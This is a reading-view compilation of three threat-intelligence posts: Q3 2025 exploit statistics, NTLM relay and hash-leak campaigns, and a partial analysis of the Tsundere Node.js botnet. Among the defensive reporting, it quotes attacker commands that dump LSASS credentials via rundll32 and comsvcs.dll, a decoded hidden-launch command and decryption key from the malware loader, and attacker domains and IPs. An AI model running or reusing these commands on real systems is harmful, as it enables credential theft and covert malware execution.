Reading view

There are new articles available, click to refresh the page.

Exploits and vulnerabilities in Q3 2025

In the third quarter, attackers continued to exploit security flaws in WinRAR, while the total number of registered vulnerabilities grew again. In this report, we examine statistics on published vulnerabilities and exploits, the most common security issues impacting Windows and Linux, and the vulnerabilities being leveraged in APT attacks that lead to the launch of widespread C2 frameworks. The report utilizes anonymized Kaspersky Security Network data, which was consensually provided by our users, as well as information from open sources.

Statistics on registered vulnerabilities

This section contains statistics on registered vulnerabilities. The data is taken from cve.org.

Let us consider the number of registered CVEs by month for the last five years up to and including the third quarter of 2025.

Total published vulnerabilities by month from 2021 through 2025 (download)

As can be seen from the chart, the monthly number of vulnerabilities published in the third quarter of 2025 remains above the figures recorded in previous years. The three-month total saw over 1000 more published vulnerabilities year over year. The end of the quarter sets a rising trend in the number of registered CVEs, and we anticipate this growth to continue into the fourth quarter. Still, the overall number of published vulnerabilities is likely to drop slightly relative to the September figure by year-end

A look at the monthly distribution of vulnerabilities rated as critical upon registration (CVSS > 8.9) suggests that this metric was marginally lower in the third quarter than the 2024 figure.

Total number of critical vulnerabilities published each month from 2021 to 2025 (download)

Exploitation statistics

This section contains exploitation statistics for Q3 2025. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q3 2025, as before, the most common exploits targeted vulnerable Microsoft Office products.

Most Windows exploits detected by Kaspersky solutions targeted the following vulnerabilities:

  • CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
  • CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
  • CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system

These vulnerabilities historically have been exploited by threat actors more frequently than others, as discussed in previous reports. In the third quarter, we also observed threat actors actively exploiting Directory Traversal vulnerabilities that arise during archive unpacking in WinRAR. While the originally published exploits for these vulnerabilities are not applicable in the wild, attackers have adapted them for their needs.

  • CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within archive contents We discussed this vulnerability in detail in a 2024 report.
  • CVE-2025-6218 (ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. A malicious actor can extract the archive into a system application or startup directory to execute malicious code. For a more detailed analysis of the vulnerability, see our Q2 2025 report.
  • CVE-2025-8088: a zero-day vulnerability similar to CVE-2025-6128, discovered during an analysis of APT attacks The attackers used NTFS Streams to circumvent controls on the directory into which files were unpacked. We will take a closer look at this vulnerability below.

It should be pointed out that vulnerabilities discovered in 2025 are rapidly catching up in popularity to those found in 2023.

All the CVEs mentioned can be exploited to gain initial access to vulnerable systems. We recommend promptly installing updates for the relevant software.

Dynamics of the number of Windows users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)

According to our telemetry, the number of Windows users who encountered exploits increased in the third quarter compared to the previous reporting period. However, this figure is lower than that of Q3 2024.

For Linux devices, exploits for the following OS kernel vulnerabilities were detected most frequently:

  • CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications
  • CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
  • CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to its use of popular memory modification techniques: manipulating “msg_msg” primitives, which leads to a Use-After-Free security flaw.

Dynamics of the number of Linux users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)

A look at the number of users who encountered exploits suggests that it continues to grow, and in Q3 2025, it already exceeds the Q1 2023 figure by more than six times.

It is critically important to install security patches for the Linux operating system, as it is attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.

Most common published exploits

In Q3 2025, exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs. That said, the share of browser exploits significantly increased in the third quarter, matching the share of exploits in other software not part of the operating system.

Distribution of published exploits by platform, Q1 2025 (download)

Distribution of published exploits by platform, Q2 2025 (download)

Distribution of published exploits by platform, Q3 2025 (download)

It is noteworthy that no new public exploits for Microsoft Office products appeared in Q3 2025, just as none did in Q2. However, PoCs for vulnerabilities in Microsoft SharePoint were disclosed. Since these same vulnerabilities also affect OS components, we categorized them under operating system vulnerabilities.

Vulnerability exploitation in APT attacks

We analyzed data on vulnerabilities that were exploited in APT attacks during Q3 2025. The following rankings draw on our telemetry, research, and open-source data.

TOP 10 vulnerabilities exploited in APT attacks, Q3 2025 (download)

APT attacks in Q3 2025 were dominated by zero-day vulnerabilities, which were uncovered during investigations of isolated incidents. A large wave of exploitation followed their public disclosure. Judging by the list of software containing these vulnerabilities, we are witnessing the emergence of a new go-to toolkit for gaining initial access into infrastructure and executing code both on edge devices and within operating systems. It bears mentioning that long-standing vulnerabilities, such as CVE-2017-11882, allow for the use of various data formats and exploit obfuscation to bypass detection. By contrast, most new vulnerabilities require a specific input data format, which facilitates exploit detection and enables more precise tracking of their use in protected infrastructures. Nevertheless, the risk of exploitation remains quite high, so we strongly recommend applying updates already released by vendors.

C2 frameworks

In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks on users during the third quarter of 2025, according to open sources.

Top 10 C2 frameworks used by APT groups to compromise user systems in Q3 2025 (download)

Metasploit, whose share increased compared to Q2, tops the list of the most prevalent C2 frameworks from the past quarter. It is followed by Sliver and Mythic. The Empire framework also reappeared on the list after being inactive in the previous reporting period. What stands out is that Adaptix C2, although fairly new, was almost immediately embraced by attackers in real-world scenarios. Analyzed sources and samples of malicious C2 agents revealed that the following vulnerabilities were used to launch them and subsequently move within the victim’s network:

  • CVE-2020-1472, also known as ZeroLogon, allows for compromising a vulnerable operating system and executing commands as a privileged user.
  • CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, also enabling remote access to a vulnerable OS and high-privilege command execution.
  • CVE-2025-6218 or CVE-2025-8088 are similar Directory Traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The first was discovered by researchers but subsequently weaponized by attackers. The second is a zero-day vulnerability.

Interesting vulnerabilities

This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q3 2025 and have a publicly available description.

ToolShell (CVE-2025-49704 and CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771): insecure deserialization and an authentication bypass

ToolShell refers to a set of vulnerabilities in Microsoft SharePoint that allow attackers to bypass authentication and gain full control over the server.

  • CVE-2025-49704 involves insecure deserialization of untrusted data, enabling attackers to execute malicious code on a vulnerable server.
  • CVE-2025-49706 allows access to the server by bypassing authentication.
  • CVE-2025-53770 is a patch bypass for CVE-2025-49704.
  • CVE-2025-53771 is a patch bypass for CVE-2025-49706.

These vulnerabilities form one of threat actors’ combinations of choice, as they allow for compromising accessible SharePoint servers with just a few requests. Importantly, they were all patched back in July, which further underscores the importance of promptly installing critical patches. A detailed description of the ToolShell vulnerabilities can be found in our blog.

CVE-2025-8088: a directory traversal vulnerability in WinRAR

CVE-2025-8088 is very similar to CVE-2025-6218, which we discussed in our previous report. In both cases, attackers use relative paths to trick WinRAR into extracting archive contents into system directories. This version of the vulnerability differs only in that the attacker exploits Alternate Data Streams (ADS) and can use environment variables in the extraction path.

CVE-2025-41244: a privilege escalation vulnerability in VMware Aria Operations and VMware Tools

Details about this vulnerability were presented by researchers who claim it was used in real-world attacks in 2024.

At the core of the vulnerability lies the fact that an attacker can substitute the command used to launch the Service Discovery component of the VMware Aria tooling or the VMware Tools utility suite. This leads to the unprivileged attacker gaining unlimited privileges on the virtual machine. The vulnerability stems from an incorrect regular expression within the get-versions.sh script in the Service Discovery component, which is responsible for identifying the service version and runs every time a new command is passed.

Conclusion and advice

The number of recorded vulnerabilities continued to rise in Q3 2025, with some being almost immediately weaponized by attackers. The trend is likely to continue in the future.

The most common exploits for Windows are primarily used for initial system access. Furthermore, it is at this stage that APT groups are actively exploiting new vulnerabilities. To hinder attackers’ access to infrastructure, organizations should regularly audit systems for vulnerabilities and apply patches in a timely manner. These measures can be simplified and automated with Kaspersky Systems Management. Kaspersky Symphony can provide comprehensive and flexible protection against cyberattacks of any complexity.

Old tech, new vulnerabilities: NTLM abuse, ongoing exploitation in 2025

Just like the 2000s

Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.

Ever since that distant 2001, the weaknesses of the NTLM authentication protocol have been clearly exposed. In the years that followed, new vulnerabilities and increasingly sophisticated attack methods continued to shape the security landscape. Microsoft took up the challenge, introducing mitigations and gradually developing NTLM’s successor, Kerberos. Yet more than two decades later, NTLM remains embedded in modern operating systems, lingering across enterprise networks, legacy applications, and internal infrastructures that still rely on its outdated mechanisms for authentication.

Although Microsoft has announced its intention to retire NTLM, the protocol remains present, leaving an open door for attackers who keep exploiting both long-standing and newly discovered flaws.

In this blog post, we take a closer look at the growing number of NTLM-related vulnerabilities uncovered over the past year, as well as the cybercriminal campaigns that have actively weaponized them across different regions of the world.

How NTLM authentication works

NTLM (New Technology LAN Manager) is a suite of security protocols offered by Microsoft and intended to provide authentication, integrity, and confidentiality to users.

In terms of authentication, NTLM is a challenge-response-based protocol used in Windows environments to authenticate clients and servers. Such protocols depend on a shared secret, typically the client’s password, to verify identity. NTLM is integrated into several application protocols, including HTTP, MSSQL, SMB, and SMTP, where user authentication is required. It employs a three-way handshake between the client and server to complete the authentication process. In some instances, a fourth message is added to ensure data integrity.

The full authentication process appears as follows:

  1. The client sends a NEGOTIATE_MESSAGE to advertise its capabilities.
  2. The server responds with a CHALLENGE_MESSAGE to verify the client’s identity.
  3. The client encrypts the challenge using its secret and responds with an AUTHENTICATE_MESSAGE that includes the encrypted challenge, the username, the hostname, and the domain name.
  4. The server verifies the encrypted challenge using the client’s password hash and confirms its identity. The client is then authenticated and establishes a valid session with the server. Depending on the application layer protocol, an authentication confirmation (or failure) message may be sent by the server.

Importantly, the client’s secret never travels across the network during this process.

NTLM is dead — long live NTLM

Despite being a legacy protocol with well-documented weaknesses, NTLM continues to be used in Windows systems and hence actively exploited in modern threat campaigns. Microsoft has announced plans to phase out NTLM authentication entirely, with its deprecation slated to begin with Windows 11 24H2 and Windows Server 2025 (1, 2, 3), where NTLMv1 is removed completely, and NTLMv2 disabled by default in certain scenarios. Despite at least three major public notices since 2022 and increased documentation and migration guidance, the protocol persists, often due to compatibility requirements, legacy applications, or misconfigurations in hybrid infrastructures.

As recent disclosures show, attackers continue to find creative ways to leverage NTLM in relay and spoofing attacks, including new vulnerabilities. Moreover, they introduce alternative attack vectors inherent to the protocol, which will be further explored in the post, specifically in the context of automatic downloads and malware execution via WebDAV following NTLM authentication attempts.

Persistent threats in NTLM-based authentication

NTLM presents a broad threat landscape, with multiple attack vectors stemming from its inherent design limitations. These include credential forwarding, coercion-based attacks, hash interception, and various man-in-the-middle techniques, all of them exploiting the protocol’s lack of modern safeguards such as channel binding and mutual authentication. Prior to examining the current exploitation campaigns, it is essential to review the primary attack techniques involved.

Hash leakage

Hash leakage refers to the unintended exposure of NTLM authentication hashes, typically caused by crafted files, malicious network paths, or phishing techniques. This is a passive technique that doesn’t require any attacker actions on the target system. A common scenario involving this attack vector starts with a phishing attempt that includes (or links to) a file designed to exploit native Windows behaviors. These behaviors automatically initiate NTLM authentication toward resources controlled by the attacker. Leakage often occurs through minimal user interaction, such as previewing a file, clicking on a remote link, or accessing a shared network resource. Once attackers have the hashes, they can reuse them in a credential forwarding attack.

Coercion-based attacks

In coercion-based attacks, the attacker actively forces the target system to authenticate to an attacker-controlled service. No user interaction is needed for this type of attack. For example, tools like PetitPotam or PrinterBug are commonly used to trigger authentication attempts over protocols such as MS-EFSRPC or MS-RPRN. Once the victim system begins the NTLM handshake, the attacker can intercept the authentication hash or relay it to a separate target, effectively impersonating the victim on another system. The latter case is especially impactful, allowing immediate access to file shares, remote management interfaces, or even Active Directory Certificate Services, where attackers can request valid authentication certificates.

Credential forwarding

Credential forwarding refers to the unauthorized reuse of previously captured NTLM authentication tokens, typically hashes, to impersonate a user on a different system or service. In environments where NTLM authentication is still enabled, attackers can leverage previously obtained credentials (via hash leakage or coercion-based attacks) without cracking passwords. This is commonly executed through Pass-the-Hash (PtH) or token impersonation techniques. In networks where NTLM is still in use, especially in conjunction with misconfigured single sign-on (SSO) or inter-domain trust relationships, credential forwarding may provide extensive access across multiple systems.

This technique is often used to facilitate lateral movement and privilege escalation, particularly when high-privilege credentials are exposed. Tools like Mimikatz allow extraction and injection of NTLM hashes directly into memory, while Impacket’s wmiexec.py, PsExec.py, and secretsdump.py can be used to perform remote execution or credential extraction using forwarded hashes.

Man-in-the-Middle (MitM) attacks

An attacker positioned between a client and a server can intercept, relay, or manipulate authentication traffic to capture NTLM hashes or inject malicious payloads during the session negotiation. In environments where safeguards such as digital signing or channel binding tokens are missing, these attacks are not only possible but frequently easy to execute.

Among MitM attacks, NTLM relay remains the most enduring and impactful method, so much so that it has remained relevant for over two decades. Originally demonstrated in 2001 through the SMBRelay tool by Sir Dystic (member of Cult of the Dead Cow), NTLM relay continues to be actively used to compromise Active Directory environments in real-world scenarios. Commonly used tools include Responder, Impacket’s NTLMRelayX, and Inveigh. When NTLM relay occurs within the same machine from which the hash was obtained, it is also referred to as NTLM reflexion attack.

NTLM exploitation in 2025

Over the past year, multiple vulnerabilities have been identified in Windows environments where NTLM remains enabled implicitly. This section highlights the most relevant CVEs reported throughout the year, along with key attack vectors observed in real-world campaigns.

CVE-2024‑43451

CVE-2024‑43451 is a vulnerability in Microsoft Windows that enables the leakage of NTLMv2 password hashes with minimal or no user interaction, potentially resulting in credential compromise.

The vulnerability exists thanks to the continued presence of the MSHTML engine, a legacy component originally developed for Internet Explorer. Although Internet Explorer has been officially deprecated, MSHTML remains embedded in modern Windows systems for backward compatibility, particularly with applications and interfaces that still rely on its rendering or link-handling capabilities. This dependency allows .url files to silently invoke NTLM authentication processes through crafted links without necessarily being open. While directly opening the malicious .url file reliably triggers the exploit, the vulnerability may also be activated through alternative user actions such as right clicking, deleting, single-clicking, or just moving the file to a different folder.

Attackers can exploit this flaw by initiating NTLM authentication over SMB to a remote server they control (specifying a URL in UNC path format), thereby capturing the user’s hash. By obtaining the NTLMv2 hash, an attacker can execute a pass-the-hash attack (e.g. by using tools like WMIExec or PSExec) to gain network access by impersonating a valid user, without the need to know the user’s actual credentials.

A particular case of this vulnerability occurs when attackers use WebDAV servers, a set of extensions to the HTTP protocol, which enables collaboration on files hosted on web servers. In this case, a minimal interaction with the malicious file, such as a single click or a right click, triggers automatic connection to the server, file download, and execution. The attackers use this flaw to deliver malware or other payloads to the target system. They also may combine this with hash leaking, for example, by installing a malicious tool on the victim system and using the captured hashes to perform lateral movement through that tool.

The vulnerability was addressed by Microsoft in its November 2024 security updates. In patched environments, motion, deletion, right-clicking the crafted .url file, etc. won’t trigger a connection to a malicious server. However, when the user opens the exploit, it will still work.

After the disclosure, the number of attacks exploiting the vulnerability grew exponentially. By July this year, we had detected around 600 suspicious .url files that contain the necessary characteristics for the exploitation of the vulnerability and could represent a potential threat.

BlindEagle campaign delivering Remcos RAT via CVE-2024-43451

BlindEagle is an APT threat actor targeting Latin American entities, which is known for their versatile campaigns that mix espionage and financial attacks. In late November 2024, the group started a new attack targeting Colombian entities, using the Windows vulnerability CVE-2024-43451 to distribute Remcos RAT. BlindEagle created .url files as a novel initial dropper. These files were delivered through phishing emails impersonating Colombian government and judicial entities and using alleged legal issues as a lure. Once the recipients were convinced to download the malicious file, simply interacting with it would trigger a request to a WebDAV server controlled by the attackers, from which a modified version of Remcos RAT was downloaded and executed. This version contained a module dedicated to stealing cryptocurrency wallet credentials.

The attackers executed the malware automatically by specifying port 80 in the UNC path. This allowed the connection to be made directly using the WebDAV protocol over HTTP, thereby bypassing an SMB connection. This type of connection also leaks NTLM hashes. However, we haven’t seen any subsequent usage of these hashes.

Following this campaign and throughout 2025, the group persisted in launching multiple attacks using the same initial attack vector (.url files) and continued to distribute Remcos RAT.

We detected more than 60 .url files used as initial droppers in BlindEagle campaigns. These were sent in emails impersonating Colombian judicial authorities. All of them communicated via WebDAV with servers controlled by the group and initiated the attack chain that used ShadowLadder or Smoke Loader to finally load Remcos RAT in memory.

Head Mare campaigns against Russian targets abusing CVE-2024-43451

Another attack detected after the Microsoft disclosure involves the hacktivist group Head Mare. This group is known for perpetrating attacks against Russian and Belarusian targets.

In past campaigns, Head Mare exploited various vulnerabilities as part of its techniques to gain initial access to its victims’ infrastructure. This time, they used CVE 2024-43451. The group distributed a ZIP file via phishing emails under the name “Договор на предоставление услуг №2024-34291” (“Service Agreement No. 2024-34291”). This had a .url file named “Сопроводительное письмо.docx” (translated as “Cover letter.docx”).

The .url file connected to a remote SMB server controlled by the group under the domain:

document-file[.]ru/files/documents/zakupki/MicrosoftWord.exe

The domain resolved to the IP address 45.87.246.40 belonging to the ASN 212165, used by the group in the campaigns previously reported by our team.

According to our telemetry data, the ZIP file was distributed to more than a hundred users, 50% of whom belong to the manufacturing sector, 35% to education and science, and 5% to government entities, among other sectors. Some of the targets interacted with the .url file.

To achieve their goals at the targeted companies, Head Mare used a number of publicly available tools, including open-source software, to perform lateral movement and privilege escalation, forwarding the leaked hashes. Among these tools detected in previous attacks are Mimikatz, Secretsdump, WMIExec, and SMBExec, with the last three being part of the Impacket suite tool.

In this campaign, we detected attempts to exploit the vulnerability CVE-2023-38831 in WinRAR, used as an initial access in a campaign that we had reported previously, and in two others, we found attempts to use tools related to Impacket and SMBMap.

The attack, in addition to collecting NTLM hashes, involved the distribution of the PhantomCore malware, part of the group’s arsenal.

CVE-2025-24054/CVE-2025-24071

CVE-2025-24071 and CVE-2025-24054, initially registered as two different vulnerabilities, but later consolidated under the second CVE, is an NTLM hash leak vulnerability affecting multiple Windows versions, including Windows 11 and Windows Server. The vulnerability is primarily exploited through specially crafted files, such as .library-ms files, which cause the system to initiate NTLM authentication requests to attacker-controlled servers.

This exploitation is similar to CVE-2024-43451 and requires little to no user interaction (such as previewing a file), enabling attackers to capture NTLMv2 hashes and gain unauthorized access or escalate privileges within the network. The most common and widespread exploitation of this vulnerability occurs with .library-ms files inside ZIP/RAR archives, as it is easy to trick users into opening or previewing them. In most incidents we observed, the attackers used ZIP archives as the distribution vector.

Trojan distribution in Russia via CVE-2025-24054

In Russia, we identified a campaign distributing malicious ZIP archives with the subject line “акт_выполненных_работ_апрель” (certificate of work completed April). These files inside the archives masqueraded as .xls spreadsheets but were in fact .library-ms files that automatically initiated a connection to servers controlled by the attackers. The malicious files contained the same embedded server IP address 185.227.82.72.

When the vulnerability was exploited, the file automatically connected to that server, which also hosted versions of the AveMaria Trojan (also known as Warzone) for distribution. AveMaria is a remote access Trojan (RAT) that gives attackers remote control to execute commands, exfiltrate files, perform keylogging, and maintain persistence.

CVE-2025-33073

CVE-2025-33073 is a high-severity NTLM reflection vulnerability in the Windows SMB client’s access control. An authenticated attacker within the network can manipulate SMB authentication, particularly via local relay, to coerce a victim’s system into authenticating back to itself as SYSTEM. This allows the attacker to escalate privileges and execute code at the highest level.

The vulnerability relies on a flaw in how Windows determines whether a connection is local or remote. By crafting a specific DNS hostname that partially overlaps with the machine’s own name, an attacker can trick the system into believing the authentication request originates from the same host. When this happens, Windows switches into a “local authentication” mode, which bypasses the normal NTLM challenge-response exchange and directly injects the user’s token into the host’s security subsystem. If the attacker has coerced the victim into connecting to the crafted hostname, the token provided is essentially the machine’s own, granting the attacker privileged access on the host itself.

This behavior emerges because the NTLM protocol sets a special flag and context ID whenever it assumes the client and server are the same entity. The attacker’s manipulation causes the operating system to treat an external request as internal, so the injected token is handled as if it were trusted. This self-reflection opens the door for the adversary to act with SYSTEM-level privileges on the target machine.

Suspicious activity in Uzbekistan involving CVE-2025-33073

We have detected suspicious activity exploiting the vulnerability on a target belonging to the financial sector in Uzbekistan.

We have obtained a traffic dump related to this activity, and identified multiple strings within this dump that correspond to fragments related to NTLM authentication over SMB. The dump contains authentication negotiations showing SMB dialects, NTLMSSP messages, hostnames, and domains. In particular, the indicators:

  • The hostname localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, a manipulated hostname used to trick Windows into treating the authentication as local
  • The presence of the IPC$ resource share, common in NTLM relay/reflection attacks, because it allows an attacker to initiate authentication and then perform actions reusing that authenticated session

The incident began with exploitation of the NTLM reflection vulnerability. The attacker used a crafted DNS record to coerce the host into authenticating against itself and obtain a SYSTEM token. After that, the attacker checked whether they had sufficient privileges to execute code using batch files that ran simple commands such as whoami:

%COMSPEC% /Q /c echo whoami ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat

Persistence was then established by creating a suspicious service entry in the registry under:

reg:\\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\YlHXQbXO

With SYSTEM privileges, the attacker attempted several methods to dump LSASS (Local Security Authority Subsystem Service) memory:

  1. Using rundll32.exe:
    C:\Windows\system32\cmd.exe /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\vdpk2Y.sav full
    The command locates the lsass.exe process, which holds credentials in memory, extracts its PID, and invokes an internal function of comsvcs.dll to dump LSASS memory and save it. This technique is commonly used in post-exploitation (e.g., Mimikatz or other “living off the land” tools).
  2. Loading a temporary DLL (BDjnNmiX.dll):
    C:\Windows\system32\cmd.exe /Q /c cMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tAsKLISt /fi "Imagename eq lSAss.ex*" | find "lsass""') do rundll32.exe C:\Windows\Temp\BDjnNmiX.dll #+0000^24 ^%B \Windows\Temp\sFp3bL291.tar.log full
    The command tries to dump the LSASS memory again, but this time using a custom DLL.
  3. Running a PowerShell script (Base64-encoded):
    The script leverages MiniDumpWriteDump via reflection. It uses the Out-Minidump function that writes a process dump with all process memory to disk, similar to running procdump.exe.

Several minutes later, the attacker attempted lateral movement by writing to the administrative share of another host, but the attempt failed. We didn’t see any evidence of further activity.

Protection and recommendations

Disable/Limit NTLM

As long as NTLM remains enabled, attackers can exploit vulnerabilities in legacy authentication methods. Disabling NTLM, or at the very least limiting its use to specific, critical systems, significantly reduces the attack surface. This change should be paired with strict auditing to identify any systems or applications still dependent on NTLM, helping ensure a secure and seamless transition.

Implement message signing

NTLM works as an authentication layer over application protocols such as SMB, LDAP, and HTTP. Many of these protocols offer the ability to add signing to their communications. One of the most effective ways to mitigate NTLM relay attacks is by enabling SMB and LDAP signing. These security features ensure that all messages between the client and server are digitally signed, preventing attackers from tampering with or relaying authentication traffic. Without signing, NTLM credentials can be intercepted and reused by attackers to gain unauthorized access to network resources.

Enable Extended Protection for Authentication (EPA)

EPA ties NTLM authentication to the underlying TLS or SSL session, ensuring that captured credentials cannot be reused in unauthorized contexts. This added validation can be applied to services such as web servers and LDAP, significantly complicating the execution of NTLM relay attacks.

Monitor and audit NTLM traffic and authentication logs

Regularly reviewing NTLM authentication logs can help identify abnormal patterns, such as unusual source IP addresses or an excessive number of authentication failures, which may indicate potential attacks. Using SIEM tools and network monitoring to track suspicious NTLM traffic enhances early threat detection and enables a faster response.

Conclusions

In 2025, NTLM remains deeply entrenched in Windows environments, continuing to offer cybercriminals opportunities to exploit its long-known weaknesses. While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable. Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability.

The surge of NTLM-focused incidents observed throughout 2025 illustrates the growing risks of depending on outdated authentication mechanisms. To mitigate these threats, organizations must accelerate deprecation efforts, enforce regular patching, and adopt more robust identity protection frameworks. Otherwise, NTLM will remain a convenient and recurring entry point for attackers.

Blockchain and Node.js abused by Tsundere: an emerging botnet

Introduction

Tsundere is a new botnet, discovered by our Kaspersky GReAT around mid-2025. We have correlated this threat with previous reports from October 2024 that reveal code similarities, as well as the use of the same C2 retrieval method and wallet. In that instance, the threat actor created malicious Node.js packages and used the Node Package Manager (npm) to deliver the payload. The packages were named similarly to popular packages, employing a technique known as typosquatting. The threat actor targeted libraries such as Puppeteer, Bignum.js, and various cryptocurrency packages, resulting in 287 identified malware packages. This supply chain attack affected Windows, Linux, and macOS users, but it was short-lived, as the packages were removed and the threat actor abandoned this infection method after being detected.

The threat actor resurfaced around July 2025 with a new threat. We have dubbed it the Tsundere bot after its C2 panel. This botnet is currently expanding and poses an active threat to Windows users.

Initial infection

Currently, there is no conclusive evidence on how the Tsundere bot implants are being spread. However, in one documented case, the implant was installed via a Remote Monitoring and Management (RMM) tool, which downloaded a file named pdf.msi from a compromised website. In other instances, the sample names suggest that the implants are being disseminated using the lure of popular Windows games, particularly first-person shooters. The samples found in the wild have names such as “valorant”, “cs2”, or “r6x”, which appear to be attempts to capitalize on the popularity of these games among piracy communities.

Malware implants

According to the C2 panel, there are two distinct formats for spreading the implant: via an MSI installer and via a PowerShell script. Implants are automatically generated by the C2 panel (as described in the Infrastructure section).

MSI installer

The MSI installer was often disguised as a fake installer for popular games and other software to lure new victims. Notably, at the time of our research, it had a very low detection rate.

The installer contains a list of data and JavaScript files that are updated with each new build, as well as the necessary Node.js executables to run these scripts. The following is a list of files included in the sample:

nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd

The last three files in the list are legitimate Node.js files. They are installed alongside the malicious artifacts in the user’s AppData\Local\nodejs directory.

An examination of the CustomAction table reveals the process by which Windows Installer executes the malware and installs the Tsundere bot:

RunModulesSetup 1058    NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==

After Base64 decoding, the command appears as follows:

$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath  - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"

This will execute Node.js code that spawns a new Node.js process, which runs the loader JavaScript code (in this case, B4jHWzJnlABB2B7). The resulting child process runs in the background, remaining hidden from the user.

Loader script

The loader script is responsible for ensuring the correct decryption and execution of the main bot script, which handles npm unpackaging and configuration. Although the loader code, similar to the code for the other JavaScript files, is obfuscated, it can be deobfuscated using open-source tools. Once executed, the loader attempts to locate the unpackaging script and configuration for the Tsundere bot, decrypts them using the AES-256 CBC cryptographic algorithm with a build-specific key and IV, and saves the decrypted files under different filenames.

encScriptPath = 'thoJahgqObmWWA2',
  encConfigPath = '79juqlY2mETeQOc',
  decScript = 'uB39hFJ6YS8L2Fd',
  decConfig = '9s9IxB5AbDj4Pmw',
  keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
  ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
    const h = path.dirname(encScriptPath),
      i = path.join(h, decScript),
      j = path.join(h, decConfig)
    decryptFile(encScriptPath, i, key, iv)
    decryptFile(encConfigPath, j, key, iv)

The configuration file is a JSON that defines a directory and file structure, as well as file contents, which the malware will recreate. The malware author refers to this file as “config”, but its primary purpose is to package and deploy the Node.js package manager (npm) without requiring manual installation or downloading. The unpackaging script is responsible for recreating this structure, including the node_modules directory with all its libraries, which contains packages necessary for the malware to run.

With the environment now set up, the malware proceeds to install three packages to the node_modules directory using npm:

  • ws: a WebSocket networking library
  • ethers: a library for communicating with Ethereum
  • pm2: a Node.js process management tool
Loader script installing the necessary toolset for Tsundere persistence and execution

Loader script installing the necessary toolset for Tsundere persistence and execution

The pm2 package is installed to ensure the Tsundere bot remains active and used to launch the bot. Additionally, pm2 helps achieve persistence on the system by writing to the registry and configuring itself to restart the process upon login.

PowerShell infector

The PowerShell version of the infector operates in a more compact and simplified manner. Instead of utilizing a configuration file and an unpacker — as done with the MSI installer — it downloads the ZIP file node-v18.17.0-win-x64.zip from the official Node.js website nodejs[.]org and extracts it to the AppData\Local\NodeJS directory, ultimately deploying Node.js on the targeted device. The infector then uses the AES-256-CBC algorithm to decrypt two large hexadecimal-encoded variables, which correspond to the bot script and a persistence script. These decrypted files, along with a package.json file are written to the disk. The package.json file contains information about the malicious Node.js package, as well as the necessary libraries to be installed, including the ws and ethers packages. Finally, the infector runs both scripts, starting with the persistence script that is followed by the bot script.

The PowerShell infector creates a package file with the implant dependencies

The PowerShell infector creates a package file with the implant dependencies

Persistence is achieved through the same mechanism observed in the MSI installer: the script creates a value in the HKCU:\Software\Microsoft\Windows\CurrentVersion\Run registry key that points to itself. It then overwrites itself with a new script that is Base64 decoded. This new script is responsible for ensuring the bot is executed on each login by spawning a new instance of the bot.

Tsundere bot

We will now delve into the Tsundere bot, examining its communication with the command-and-control (C2) server and its primary functionality.

C2 address retrieval

Web3 contracts, also known as smart contracts, are deployed on a blockchain via transactions from a wallet. These contracts can store data in variables, which can be modified by functions defined within the contract. In this case, the Tsundere botnet utilizes the Ethereum blockchain, where a method named setString(string _str) is defined to modify the state variable param1, allowing it to store a string. The string stored in param1 is used by the Tsundere botnet administrators to store new WebSocket C2 servers, which can be rotated at will and are immutable once written to the Ethereum blockchain.

